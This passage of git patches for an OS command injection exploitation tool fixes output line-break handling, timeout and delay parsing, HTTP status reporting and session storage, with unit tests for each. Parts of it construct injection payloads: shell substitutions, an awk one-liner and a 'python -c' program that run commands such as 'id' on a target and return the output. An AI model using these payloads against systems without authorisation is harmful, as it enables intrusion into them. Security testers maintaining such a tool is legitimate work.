self.assertEqual(" ", injector.output_file_content(served(" "))) + + def test_the_line_breaks_it_ends_with_come_off_the_way_a_substitution_drops_them(self): + self.assertEqual("a\nb", injector.output_file_content(served("a\nb\n\n"))) + + def test_the_line_breaks_inside_it_stay_where_they_are(self): + self.assertEqual("one\ntwo\nthree", injector.output_file_content(served("one\ntwo\nthree\n"))) + +class WhatTheTargetSaysAboutTheFileItself(unittest.TestCase): + def test_an_entity_tag_is_preferred_over_a_date_a_second_at_a_time(self): + self.assertEqual('"8-abc"', injector.output_file_validator( + served("x", {"ETag": '"8-abc"', "Last-Modified": "Wed, 11 Nov 2026 18:36:17 GMT"}))) + + def test_a_weak_tag_is_the_same_tag(self): + self.assertEqual('"8-abc"', injector.output_file_validator(served("x", {"ETag": 'W/"8-abc"'}))) + + def test_a_date_answers_where_there_is_no_tag(self): + self.assertEqual("Wed, 11 Nov 2026 18:36:17 GMT", injector.output_file_validator( + served("x", {"Last-Modified": "Wed, 11 Nov 2026 18:36:17 GMT"}))) + + def test_a_target_that_says_nothing_about_the_file_answers_nothing(self): + self.assertIsNone(injector.output_file_validator(served("x"))) + +class AnswerThisCommandsOutputOrNothing(unittest.TestCase): + """ + A command the target never ran leaves the file as it was, and reading it then answers with + whatever wrote it last - the marker the detection phase put there, or the command before this + one. Handed back as this command's own, that is a wrong answer rather than a missing one. + """ + def test_an_untouched_file_is_not_this_commands_output(self): + self.assertTrue(injector.output_file_is_stale("MARKER", '"1-a"', "MARKER", '"1-a"')) + + def test_a_file_written_again_is_this_commands_output_even_where_it_says_the_same(self): + # The same command run twice writes the file both times, and the tag moves with the write. + self.assertFalse(injector.output_file_is_stale("uid=33", '"6-b"', "uid=33", '"6-a"')) + + def test_a_file_whose_contents_changed_is_this_commands_output(self): + self.assertFalse(injector.output_file_is_stale("uid=33", '"6-a"', "MARKER", '"6-a"')) + + def test_nothing_is_withheld_from_a_target_that_says_nothing_about_the_file(self): + # Without a tag there is no telling a rewrite from a repeat, and an answer withheld from a + # command that worked is the worse of the two mistakes. + self.assertFalse(injector.output_file_is_stale("uid=33", None, "uid=33", None)) + + def test_the_first_read_of_a_run_is_answered(self): + self.assertFalse(injector.output_file_is_stale("uid=33", '"6-a"', None, None)) + +if __name__ == "__main__": + unittest.main() + +# eof diff --git a/tests/test_payloads.py b/tests/test_payloads.py index c8c2fedfb3..ac62a0445c 100644 --- a/tests/test_payloads.py +++ b/tests/test_payloads.py @@ -1304,3 +1304,42 @@ def test_a_script_rewriting_the_payload_reads_it_the_plain_way(self): def test_a_target_without_the_tool_reads_it_the_plain_way(self): settings.RESULTS_BASED_EXACT_OUTPUT = False self.assertNotIn("awk", self.payload()) + +class TheInterpreterIsHandedTheOutputNotAProgramMadeOfIt(unittest.TestCase): + """ + The output used to be written into the program the interpreter was given to run, inside a quoted + string there - so a quote of the output's own closed that string early and the interpreter + answered with a syntax error instead of with the command's output. Silently: the run reported + nothing at all for a command that had worked. + """ + def setUp(self): + self._state = (settings.TARGET_OS, settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX, + list(settings.WHITESPACES)) + settings.TARGET_OS = settings.OS.UNIX + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = settings.NESTING_SUBSTITUTION + settings.WHITESPACES = [settings.SINGLE_WHITESPACE] + + def tearDown(self): + (settings.TARGET_OS, settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX, + settings.WHITESPACES) = self._state + + def _built(self): + from src.core.techniques.results_based import rb_payloads + from src.core.techniques.file_based import fb_payloads + return { + "rb_payloads": rb_payloads.cmd_execution_alter_interpreter(";", "MARKER", "echo Hello"), + "fb_payloads": fb_payloads.cmd_execution_alter_interpreter(";", "echo Hello", "out.txt"), + } + + def test_the_output_arrives_as_an_argument(self): + for name, payload in self._built().items(): + self.assertIn("sys.argv[1]", payload, name + " does not read the output as an argument") + + def test_no_substitution_is_left_inside_a_string_the_interpreter_parses(self): + for name, payload in self._built().items(): + self.assertNotIn("'" + settings.CMD_SUB_PREFIX, payload, + name + " still writes the output into a quoted string of the program") + + def test_the_command_is_still_run(self): + for name, payload in self._built().items(): + self.assertIn(settings.CMD_SUB_PREFIX + "echo Hello" + settings.CMD_SUB_SUFFIX, payload, name) diff --git a/tests/test_requests.py b/tests/test_requests.py index 79c554dd62..4f5452aa6f 100644 --- a/tests/test_requests.py +++ b/tests/test_requests.py @@ -101,3 +101,56 @@ def test_an_error_code_nobody_asked_to_ignore_is_not(self): if __name__ == "__main__": unittest.main() + +class AStatusIsReadOnEveryRequestNotJustTheFirst(unittest.TestCase): + """ + What a status says about the target is true of whichever request it answered. Read only on the + run's opening request, a '414' went unexplained, a chunked body the target would not take was + never sent again without it, and every other error code passed in silence. + """ + def setUp(self): + self._state = (settings.TOTAL_OF_REQUESTS, set(settings.WARNED_HTTP_ERROR_CODES), + settings.print_data_to_stdout, settings.USER_DEFINED_POST_DATA) + self.said = [] + settings.print_data_to_stdout = lambda text: self.said.append(str(text)) + settings.WARNED_HTTP_ERROR_CODES = set() + # Well past the opening request, which is where every real payload is sent from. + settings.TOTAL_OF_REQUESTS = 42 + + def tearDown(self): + (settings.TOTAL_OF_REQUESTS, settings.WARNED_HTTP_ERROR_CODES, + settings.print_data_to_stdout, settings.USER_DEFINED_POST_DATA) = self._state + + def _refused(self, code, reason): + return _urllib.error.HTTPError("http://target/x", code, reason, {}, None) + + def test_a_request_line_the_target_will_not_take_is_explained(self): + requests.request_failed(self._refused(414, "Request-URI Too Long")) + said = " ".join(self.said) + self.assertIn("414", said) + self.assertIn("longer than it accepts", said) + + def test_the_way_past_it_is_named(self): + settings.USER_DEFINED_POST_DATA = "" + requests.request_failed(self._refused(414, "Request-URI Too Long")) + self.assertIn("--data", " ".join(self.said)) + + def test_any_other_error_code_is_still_reported_as_interference(self): + requests.request_failed(self._refused(500, "Internal Server Error")) + self.assertIn("could interfere", " ".join(self.said)) + + def test_a_chunked_body_the_target_will_not_read_is_turned_off(self): + from src.core.parse import cmdline as menu + self._chunked = (menu.options.chunked, settings.CHUNKED_UNSUPPORTED) + try: + menu.options.chunked, settings.CHUNKED_UNSUPPORTED = True, False + self.assertTrue(requests.request_failed(self._refused(405, "Method Not Allowed"))) + self.assertFalse(menu.options.chunked) + self.assertIn("chunked", " ".join(self.said)) + finally: + menu.options.chunked, settings.CHUNKED_UNSUPPORTED = self._chunked + + def test_it_is_said_once_rather_than_on_every_request_that_is_refused(self): + for _ in range(4): + requests.request_failed(self._refused(414, "Request-URI Too Long")) + self.assertEqual(1, len([_ for _ in self.said if "longer than it accepts" in _])) From 6c917c9a5db6255124b0c90ddfd1a97748c4367f Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 13 Nov 2026 18:07:07 +0200 Subject: [PATCH 1012/1023] Fixed several issues regarding the line breaks a command's output carries, affecting the results-based technique and the payloads built with `--interpreter` --- src/core/controller/injector.py | 6 +++ .../techniques/results_based/rb_payloads.py | 41 ++++++++++---- src/utils/settings.py | 13 ++++- tests/test_payloads.py | 53 ++++++++++++++++++- 4 files changed, 100 insertions(+), 13 deletions(-) diff --git a/src/core/controller/injector.py b/src/core/controller/injector.py index 16231e9737..4bad330bc3 100755 --- a/src/core/controller/injector.py +++ b/src/core/controller/injector.py @@ -1815,6 +1815,12 @@ def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, times shell = [backslash.replace(r"\/","/") for backslash in shell] # The output's own line breaks, back where they were. shell = [marked.replace(new_line, settings.END_LINE.LF) for marked in shell] + # And the ones the target was asked to mark before it answered, which is how a break + # survives a sink that hands back a single line of what it ran. + shell = [marked.replace(settings.RESULTS_BASED_LF_MARKER, settings.END_LINE.LF) + for marked in shell] + shell = [marked.replace(settings.RESULTS_BASED_CR_MARKER, settings.END_LINE.CR) + for marked in shell] # And the bytes the page's own encoding could not read, back as the bytes the target sent - # written out at the point the page was read rather than thrown away, so they are still here. shell = [checks.decoded_byte_output(checks.restored_unreadable_bytes(kept)) for kept in shell] diff --git a/src/core/techniques/results_based/rb_payloads.py b/src/core/techniques/results_based/rb_payloads.py index 9268c33df6..87062c7931 100755 --- a/src/core/techniques/results_based/rb_payloads.py +++ b/src/core/techniques/results_based/rb_payloads.py @@ -100,21 +100,28 @@ def decision_alter_interpreter(separator, TAG, randv1, randv2): return payload """ -A command's output as a single line, with every byte it printed still in it. +A command's output as a single line, with every byte it printed still in it - its line breaks among +them, marked rather than thrown away. 'echo' is handed the output through a substitution, and an unquoted one is split into words and rejoined with one space each - so runs of whitespace inside the output collapse and its ends are dropped. Quoted instead, that whitespace survives but so do the newlines, and a sink handing back only the last line of what it ran then answers with nothing at all. Both are avoided by asking -'awk' for the output with its newlines replaced, the way the file-based technique asks 'tr' for it: -the value goes in as an argument rather than through a pipe, so nothing is introduced that the -payload is not proving, and the program is a single statement, so it needs no separator of its own -either - 'gsub' is read for the condition of a choice whose answers are the same, since it hands -back a count rather than the string it rewrote. Replaced with 'OFS', a literal space being the -whitespace substitution's to take even inside awk's own quotes. +'awk' for the output with its line breaks standing in a marker's place: the value goes in as an +argument rather than through a pipe, so nothing is introduced that the payload is not proving, and +the program is a single statement, so it needs no separator of its own either - the two 'gsub' are +added for the condition of a choice whose answers are the same, since each hands back a count +rather than the string it rewrote. The markers arrive as variables, a literal one being the +whitespace substitution's to take even inside awk's own quotes, and 'OFS' holds the one for a +newline because that is what it already held when a space was what a newline became. + +A break put back on this side rather than left out is the whole of what the output owes its own +shape to: a list comes back a list, and the paragraph a target answered a list with is gone. """ def single_line_output(cmd): - return (settings.CMD_SUB_PREFIX + "LC_ALL=C awk 'BEGIN{print(gsub(/" + + return (settings.CMD_SUB_PREFIX + "LC_ALL=C awk -v OFS=" + settings.RESULTS_BASED_LF_MARKER + + " -v r=" + settings.RESULTS_BASED_CR_MARKER + " 'BEGIN{print(gsub(/" + + settings.END_LINE.ESCAPED_CR + "/,r,ARGV[1])+gsub(/" + settings.END_LINE.ESCAPED_LF + "/,OFS,ARGV[1])?ARGV[1]:ARGV[1])}' \"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX) @@ -204,11 +211,23 @@ def cmd_execution_alter_interpreter(separator, TAG, cmd): # that string early and the interpreter answered with a syntax error rather than with the # command's output - silently, the run reporting nothing at all for a command that worked. The # way the tempfile-based technique already passes it, and no second substitution to nest. + # Its line breaks marked as the reading above marks them, and for the same reason: printed as + # themselves they are lines of their own, and a sink that hands back only the last of those + # answers without the marker the output is looked for after. Written as the characters they + # are, so that nothing of the payload is a backslash for a shell to read on the way. + # + # Written out as the bytes the target handed over rather than printed as text: the interpreter + # there encodes what it prints for the locale it was started in, and a target whose locale is + # the ASCII one answered a command whose output was not ASCII with an encoding error and + # nothing else - so an accented name, or any byte above 127, lost the whole output rather than + # itself. The way this technique's file-based counterpart already writes it. + marked = ("os.fsencode(sys.argv[1]).replace(bytes([13]),b'" + settings.RESULTS_BASED_CR_MARKER + + "').replace(bytes([10]),b'" + settings.RESULTS_BASED_LF_MARKER + "')") payload = (separator + settings.LINUX_PYTHON_INTERPRETER + - " -c \"import sys" + settings.END_LINE.CR + - "print('" + TAG + "'+'" + TAG + "'+sys.argv[1]+'" + - TAG + "'+'" + TAG + "')\" \"" + cmd_exec + "\"" + " -c \"import os,sys" + settings.END_LINE.CR + + "sys.stdout.buffer.write(b'" + TAG + "'+b'" + TAG + "'+" + marked + "+b'" + + TAG + "'+b'" + TAG + "')\" \"" + cmd_exec + "\"" ) payload = checks.terminate_payload(payload, separator, keep_output=True) diff --git a/src/utils/settings.py b/src/utils/settings.py index 77e5d2cf20..75e19b4fb4 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -500,7 +500,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "338" +REVISION = "339" # How long an install may go without being updated before the run says so at the end. Read off the # files on disk rather than asked of anyone, so a run that never reaches the network still knows. @@ -691,6 +691,16 @@ class HEURISTIC_TEST(object): # target without the tool that reading needs answers. RESULTS_BASED_EXACT_OUTPUT = True +# What the target is asked to put in place of the line breaks its output carries, so that the output +# arrives as the single line the markers are looked for on. A sink handing back only the last line +# of what it ran - which is most of them, 'exec()' in PHP among them - answers with nothing at all +# where a break of its own went out, so the breaks cannot travel as themselves. Marked instead and +# put back once what is between the markers has been taken, the way the page's own breaks already +# are. Made once for the run, out of the letters a shell, a page and its encoding all hand back +# unchanged. +RESULTS_BASED_LF_MARKER = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) +RESULTS_BASED_CR_MARKER = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) + # Basic heuristic checks for code injection: the probe that says code was evaluated, what its # answer looks like coming back, and the interpreter's own complaints that give the same away. # All of it belongs to the language, so it is read from its module under 'src/core/eval'. @@ -2378,6 +2388,7 @@ class END_LINE: CR = "\r" LF = "\n" CRLF = "\r\n" + ESCAPED_CR = "\\r" ESCAPED_LF = "\\n" # List of end lines diff --git a/tests/test_payloads.py b/tests/test_payloads.py index ac62a0445c..21ec528b2a 100644 --- a/tests/test_payloads.py +++ b/tests/test_payloads.py @@ -304,11 +304,62 @@ def test_no_awk_program_holds_a_space_inside_its_own_quotes(self): """ for name, program in self._programs().items(): # Only awk's own program, since the ordinal carries a lone quote of printf's beside it. - programs = re.findall(r"awk '([^']*)'", program) + programs = re.findall(r"awk[^']*'([^']*)'", program) self.assertTrue(programs, name + " has no awk program to check") for part in programs: self.assertNotIn(" ", part, name + " holds a space inside its quotes") +class TheOutputsOwnLineBreaksComeBackWithIt(unittest.TestCase): + """ + A sink handing back only the last line of what it ran - which most of them do, PHP's 'exec()' + among them - answers with nothing at all where a break of the output's own went out. So the + breaks travel marked rather than as themselves, and are put back once what is between the markers + has been taken: the reading stays one line on the wire, and a list comes back a list. + """ + def setUp(self): + self._os = settings.TARGET_OS + settings.TARGET_OS = settings.OS.UNIX + + def tearDown(self): + settings.TARGET_OS = self._os + + def test_the_markers_are_letters_a_shell_a_page_and_awk_all_hand_back_unchanged(self): + for marker in (settings.RESULTS_BASED_LF_MARKER, settings.RESULTS_BASED_CR_MARKER): + self.assertTrue(marker.isalpha() and marker.isupper(), repr(marker)) + + def test_a_break_is_not_told_apart_from_a_return(self): + self.assertNotEqual(settings.RESULTS_BASED_LF_MARKER, settings.RESULTS_BASED_CR_MARKER) + + def test_the_single_line_reading_marks_a_break_rather_than_spacing_it(self): + from src.core.techniques.results_based import rb_payloads + program = rb_payloads.single_line_output("WORD") + self.assertIn(settings.RESULTS_BASED_LF_MARKER, program) + self.assertIn(settings.RESULTS_BASED_CR_MARKER, program) + + def test_the_interpreter_marks_them_too_and_writes_the_bytes_it_was_handed(self): + from src.core.techniques.results_based import rb_payloads + payload = rb_payloads.cmd_execution_alter_interpreter(";", "TAG", "id") + self.assertIn(settings.RESULTS_BASED_LF_MARKER, payload) + self.assertIn(settings.RESULTS_BASED_CR_MARKER, payload) + # Printed as text instead, a target whose locale is the ASCII one answered an output that was + # not ASCII with an encoding error and nothing else. + self.assertIn("sys.stdout.buffer.write", payload) + self.assertNotIn("print(", payload) + + def test_what_was_marked_is_a_break_again_by_the_time_it_is_read(self): + from src.core.controller import injector + body = ("TAGTAG" + "a" + settings.RESULTS_BASED_CR_MARKER + "b" + + settings.RESULTS_BASED_LF_MARKER + "c" + "TAGTAG") + class served(object): + def read(self, *args, **kwargs): + return body.encode(settings.DEFAULT_CODEC) + def info(self): + return {} + def getcode(self): + return 200 + self.assertEqual(["a\rb\nc"], injector.injection_results( + served(), "TAG", "id", settings.INJECTION_TECHNIQUE.RESULTS_BASED, "url", None, 1)) + class ByteSemantics(unittest.TestCase): """ An ordinal is read off a raw byte, and a shell in a UTF-8 locale will not decode one on its own - From ca047a7eeea8a416cbefc2d9e8e131b43e8776df Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 13 Nov 2026 18:07:53 +0200 Subject: [PATCH 1013/1023] Fixed several issues regarding the values a run is paced and bounded by, affecting the `--delay` and `--timeout` options and the reporting of a parameter that changes no page --- src/core/controller/controller.py | 23 ++++++++++++--- src/core/options.py | 11 ++++++- src/core/parse/cmdline.py | 4 +-- src/core/requests/headers.py | 5 +++- src/utils/settings.py | 7 ++++- tests/test_controller.py | 36 +++++++++++++++++++++++ tests/test_options.py | 49 +++++++++++++++++++++++++++++++ 7 files changed, 126 insertions(+), 9 deletions(-) diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index a023a4e1d3..26de1e568c 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -755,15 +755,30 @@ def check_parameter_in_http_header(check_parameter, place): init_http_header_injection_status() return inject_http_headers +""" +Whether what a parameter does to the page is worth the request it takes to find out. + +Where the answer decides something, and where it explains something. '--skip-static' is the first: +it acts on the answer by leaving the parameter alone. The boolean-based technique is the second, +and was once left out of this on the grounds that no technique here reads a page by comparing it - +which is the one thing that technique does, telling its true from its false by how far two pages +differ. A parameter that changes no page at all has no such difference to give, so the whole +boundary matrix is spent on it and what gets reported is a target that is not injectable, for a +reason the run had already measured and said nothing about. +""" +def dynamism_worth_asking(): + return bool(menu.options.skip_static or + checks.technique_selected("b", eval_sink=bool(menu.options.eval_sink))) + """ Whether changing the parameter changes the response at all. -Asked only where the answer decides something, which is under '--skip-static' alone: no technique -here reads a page by comparing it, so on every other run this would be a request per parameter -spent on a remark. +The baseline both readings are taken against is the target's own and was taken when it was first +reached, so this costs the one request that puts something else in the parameter's place. Only +'--skip-static' skips on the answer; everything else is told and carries on. """ def check_parameter_dynamism(url, http_request_method, check_parameter): - if settings.LOAD_SESSION or not settings.TESTABLE_VALUE or not menu.options.skip_static: + if settings.LOAD_SESSION or not settings.TESTABLE_VALUE or not dynamism_worth_asking(): return marker = settings.TESTABLE_VALUE + settings.INJECT_TAG diff --git a/src/core/options.py b/src/core/options.py index f7dfe8dfd9..a7854b9384 100644 --- a/src/core/options.py +++ b/src/core/options.py @@ -403,7 +403,7 @@ def validate(): ("--retries", menu.options.retries, 0), ("--crawl", menu.options.crawldepth, 0), ("--time-limit", menu.options.time_limit, 0), - ("--timeout", menu.options.timeout, 1), + ("--timeout", menu.options.timeout, 0), ("--maxlen", menu.options.maxlen, 1), ("--threads", menu.options.threads, 1), ("--failed-tries", menu.options.failed_tries, 1)): @@ -414,6 +414,15 @@ def validate(): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit(settings.EXIT_FAILURE) + # Raised rather than refused, for the same reason the values above are refused: a wait too short + # to tell a slow target from an unreachable one is a value that could never have worked, and what + # it costs is every later answer, read as silence. + if menu.options.timeout < settings.MIN_SAFE_TIMEOUT: + warn_msg = "The value of the '--timeout' option is too low to tell a slow target from one that " + warn_msg += "is not answering, so '" + str(settings.MIN_SAFE_TIMEOUT) + "' is used instead." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.TIMEOUT = menu.options.timeout = settings.MIN_SAFE_TIMEOUT + # Said now rather than where it is matched against: an oracle that cannot compile is one the run # would carry on without, reporting a target that never answered the question it was given. if menu.options.regexp: diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index e19afd8b3b..4c87100717 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -590,7 +590,7 @@ def banner(): action="store", dest="timeout", default=settings.TIMEOUT, - type="int", + type="float", help="Seconds to wait before timeout connection (Default: " + str(settings.TIMEOUT) + ").") request.add_option("--retries", @@ -603,7 +603,7 @@ def banner(): request.add_option("--delay", default=0, action="store", - type="int", + type="float", dest="delay", help="Seconds to delay between each HTTP request.") diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 3896491f77..7c60faa4ba 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -304,7 +304,10 @@ def apply_request_policy(): count_request() # Delay in seconds between each HTTP request, plus whatever backing off the target has earned - # and, where '--jitter' was given, a different fraction of a second on top of every one of them. - time.sleep(int(settings.DELAY) + settings.ADAPTIVE_DELAY + (random.uniform(0, menu.options.jitter) if menu.options.jitter else 0)) + # Waited for as it was given, a fraction of a second included - rounded down to whole seconds + # here, a pace of less than one was a pace of none at all, and the only way left to ask for a + # fraction was to ask for a random one through '--jitter'. + time.sleep(settings.DELAY + settings.ADAPTIVE_DELAY + (random.uniform(0, menu.options.jitter) if menu.options.jitter else 0)) """ Send a request the caller reads or times itself, rather than through the opener the rest of the run diff --git a/src/utils/settings.py b/src/utils/settings.py index 75e19b4fb4..524f4bc9f6 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -500,7 +500,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "339" +REVISION = "340" # How long an install may go without being updated before the run says so at the end. Read off the # files on disk rather than asked of anyone, so a run that never reaches the network still knows. @@ -2418,6 +2418,11 @@ class END_LINE: # Default Timeout (Seconds to wait before timeout connection) TIMEOUT = 30 +# The shortest wait worth believing an answer from. Under it, a target that is merely slow is +# indistinguishable from one that is not answering at all, and every technique reading that silence +# reports a parameter as not injectable for a reason that was never the target's. +MIN_SAFE_TIMEOUT = 3 + # Retries when the connection timeouts (Default: 3). MAX_RETRIES = 3 diff --git a/tests/test_controller.py b/tests/test_controller.py index 6f822f00d1..d46b186061 100644 --- a/tests/test_controller.py +++ b/tests/test_controller.py @@ -19,6 +19,42 @@ from src.core.controller import controller from src.core.parse import cmdline as menu +class AStaticParameterIsWorthSayingSo(unittest.TestCase): + """ + The boolean-based technique tells its true from its false by how far two pages differ, so a + parameter that changes no page at all has no answer to give it. Asked for that technique as well + as for '--skip-static', which was the only thing asking before - a run that spent the whole + boundary matrix on such a parameter reported a target as not injectable without ever saying the + one thing it had already measured. + """ + def setUp(self): + self._state = (menu.options.skip_static, menu.options.tech, menu.options.eval_sink) + menu.options.eval_sink = False + + def tearDown(self): + menu.options.skip_static, menu.options.tech, menu.options.eval_sink = self._state + + def test_the_technique_that_compares_pages_asks(self): + menu.options.skip_static = False + menu.options.tech = "b" + self.assertTrue(controller.dynamism_worth_asking()) + + def test_a_run_that_names_no_technique_runs_that_one_too(self): + menu.options.skip_static = False + menu.options.tech = "" + self.assertTrue(controller.dynamism_worth_asking()) + + def test_nothing_reading_a_page_by_comparing_it_leaves_the_request_unspent(self): + menu.options.skip_static = False + for tech in ("r", "t", "f", "rtf"): + menu.options.tech = tech + self.assertFalse(controller.dynamism_worth_asking(), tech + " spent a request on a remark") + + def test_the_switch_that_acts_on_the_answer_still_asks_on_its_own(self): + menu.options.skip_static = True + menu.options.tech = "r" + self.assertTrue(controller.dynamism_worth_asking()) + class TechniquesCarryingEitherSink(unittest.TestCase): """ A technique that reaches both sinks is run against whichever one this run is testing: it is left diff --git a/tests/test_options.py b/tests/test_options.py index bb5bf332af..84e3bcaf4d 100644 --- a/tests/test_options.py +++ b/tests/test_options.py @@ -83,6 +83,55 @@ def test_an_escape_counts_as_the_character_it_stands_for(self): options.validate() self.assertEqual("\n", menu.options.cdel) +class AWaitTooShortToBelieveIsRaised(_AValidatedRun): + """ + Under it, a target that is merely slow cannot be told from one that is not answering, and every + technique reading that silence reports a parameter as not injectable for a reason that was never + the target's. Raised rather than refused: the run was asked to go faster, not to go wrong. + """ + def setUp(self): + _AValidatedRun.setUp(self) + self._timeout = menu.options.timeout + + def tearDown(self): + menu.options.timeout = self._timeout + _AValidatedRun.tearDown(self) + + def test_a_wait_under_the_floor_is_raised_to_it_and_said_so(self): + menu.options.timeout = 1 + options.validate() + self.assertEqual(settings.MIN_SAFE_TIMEOUT, menu.options.timeout) + self.assertIn("'--timeout'", "".join(self._printed)) + + def test_the_floor_is_carried_to_what_the_requests_are_made_with(self): + menu.options.timeout = 1 + options.validate() + self.assertEqual(settings.MIN_SAFE_TIMEOUT, settings.TIMEOUT) + + def test_a_wait_above_the_floor_is_left_as_it_was_given(self): + menu.options.timeout = 12 + options.validate() + self.assertEqual(12, menu.options.timeout) + self.assertNotIn("'--timeout'", "".join(self._printed)) + + def test_a_wait_of_less_than_nothing_is_still_the_users_to_correct(self): + menu.options.timeout = -1 + self.assertIn("'--timeout'", self.refused()) + +class APaceCanBeAFractionOfASecond(unittest.TestCase): + """ + Rounded down to whole seconds, a pace of less than one was a pace of none at all - and the only + way left to ask for a fraction was to ask for a random one through '--jitter', which is the + variation on a pace rather than the pace itself. + """ + def test_the_pace_and_the_wait_are_both_read_as_fractions(self): + for option in ("--delay", "--timeout"): + self.assertEqual("float", menu.parser.get_option(option).type, + option + " cannot be given a fraction") + + def test_the_variation_on_a_pace_was_already_one(self): + self.assertEqual("float", menu.parser.get_option("--jitter").type) + class ANumberThatCannotMeanWhatItSaysIsRefused(_AValidatedRun): """ Left to run, a count of less than one reaches the loop it bounds and stops it before its first From 7629a563bf01d50a8f0ba6b9eaebbcbf6d911158 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 13 Nov 2026 18:10:55 +0200 Subject: [PATCH 1014/1023] Fixed several issues regarding what a session file keeps and what a redirect leaves behind, affecting the stored injection points, the stored output of a command and the code named when a redirect is followed --- src/core/requests/headers.py | 5 +++ src/utils/session_handler.py | 42 +++++++++++++++++++----- src/utils/settings.py | 2 +- tests/test_requests.py | 30 +++++++++++++++++ tests/test_session.py | 63 ++++++++++++++++++++++++++++++++++++ 5 files changed, 133 insertions(+), 9 deletions(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 7c60faa4ba..c047093b50 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -301,6 +301,11 @@ def send_safe_request(): """ def apply_request_policy(): settings.LAST_HTTP_ERROR = None + # What a redirect said is true of the request it answered and of no other. Set by the handler and + # never cleared, it outlived its own request: the code named in the question put to the user, and + # read by whatever asked later whether a redirect had happened at all, was whichever one the run + # had last been sent anywhere. + settings.REDIRECT_CODE = "" count_request() # Delay in seconds between each HTTP request, plus whatever backing off the target has earned - # and, where '--jitter' was given, a different fraction of a second on top of every one of them. diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 4fc3f5376a..6e1530effa 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -58,6 +58,15 @@ def _session_connection(session_file=None): def split_url(url): return url.split("?")[0] +""" +The address a stored row was written with, up to its query, as SQL says it. + +Which is how a resumed run matches a stored point: the value under test is stood in for by a +placeholder made fresh every run, so the full address differs from one run to the next for the very +same point. +""" +URL_UP_TO_QUERY = "CASE WHEN instr(url, '?') > 0 THEN substr(url, 1, instr(url, '?') - 1) ELSE url END" + """ Escape SQL LIKE wildcard characters so they're matched literally. """ @@ -222,9 +231,18 @@ def flush(): settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ -Remove all but the earliest injection point record for each unique URL and injection technique. -This helps keep the session database clean by preserving only the first discovered injection point, -which might be useful for historical or consistency purposes. +Remove every injection point record but the one a resumed run would use, for each address, +technique and place a point was found at. + +Grouped by the address up to its query rather than by the whole of it. The value under test is +stood in for by a placeholder made fresh every run, so the whole of it differs from one run to the +next for the same point: grouped on that, every row was a group of its own and this removed +nothing, leaving the table a row longer after every run that found the same point again. + +The latest is kept rather than the earliest. A resumed run reads these rows in order and keeps the +last of them, so that is the one it was already using - and it is the only one whose stored payload +was built with the options this session was given, an older row carrying whatever the run that +wrote it had been given instead. """ def clear(url): try: @@ -235,18 +253,19 @@ def clear(url): if conn.execute("SELECT name FROM sqlite_master WHERE name = ? AND type = 'table';", (table,)).fetchone() is None: return - query = "SELECT MIN(id) FROM \"" + table + "\" GROUP BY url, technique, vuln_parameter, http_header;" + query = ("SELECT MAX(id) FROM \"" + table + "\" GROUP BY " + URL_UP_TO_QUERY + + ", technique, vuln_parameter, http_header;") cursor = conn.execute(query) # Collect the ids to keep as strings - earliest_ids = [str(row[0]) for row in cursor.fetchall()] + latest_ids = [str(row[0]) for row in cursor.fetchall()] # If no records found, nothing more to do - if not earliest_ids: + if not latest_ids: return # Create a comma-separated string of ids to keep - ids_to_keep = ",".join(earliest_ids) + ids_to_keep = ",".join(latest_ids) # Delete all records that do NOT have an id in the earliest_ids list delete_query = "DELETE FROM \"" + table + "\" WHERE id NOT IN (" + ids_to_keep + ");" @@ -786,8 +805,15 @@ def store_cmd(url, cmd, shell, vuln_parameter): # The address the output came back from, which the table was keyed without - named for the # host alone, one page's answers were handed back as another's. _ensure_columns(conn, table, (("url", "VARCHAR DEFAULT ''"),)) + encoded_cmd = base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode() + # One row per command and place, the way the tables holding a single fact about the target + # already keep one. Inserted without this, a command asked again on a later run left its + # answer beside the one before it rather than in its place: the read takes the last row, so + # the answer was right and the table grew by a row for every repeat all the same. + conn.execute("DELETE FROM \"" + table + "\" WHERE cmd = ? AND vuln_parameter = ? AND url = ?;", + (encoded_cmd, vuln_parameter, split_url(url))) conn.execute("INSERT INTO \"" + table + "\" (cmd, output, vuln_parameter, url) VALUES (?, ?, ?, ?)", - (base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode(), + (encoded_cmd, base64.b64encode(shell.encode(settings.DEFAULT_CODEC)).decode(), vuln_parameter, split_url(url))) conn.commit() diff --git a/src/utils/settings.py b/src/utils/settings.py index 524f4bc9f6..09e3f307ac 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -500,7 +500,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection 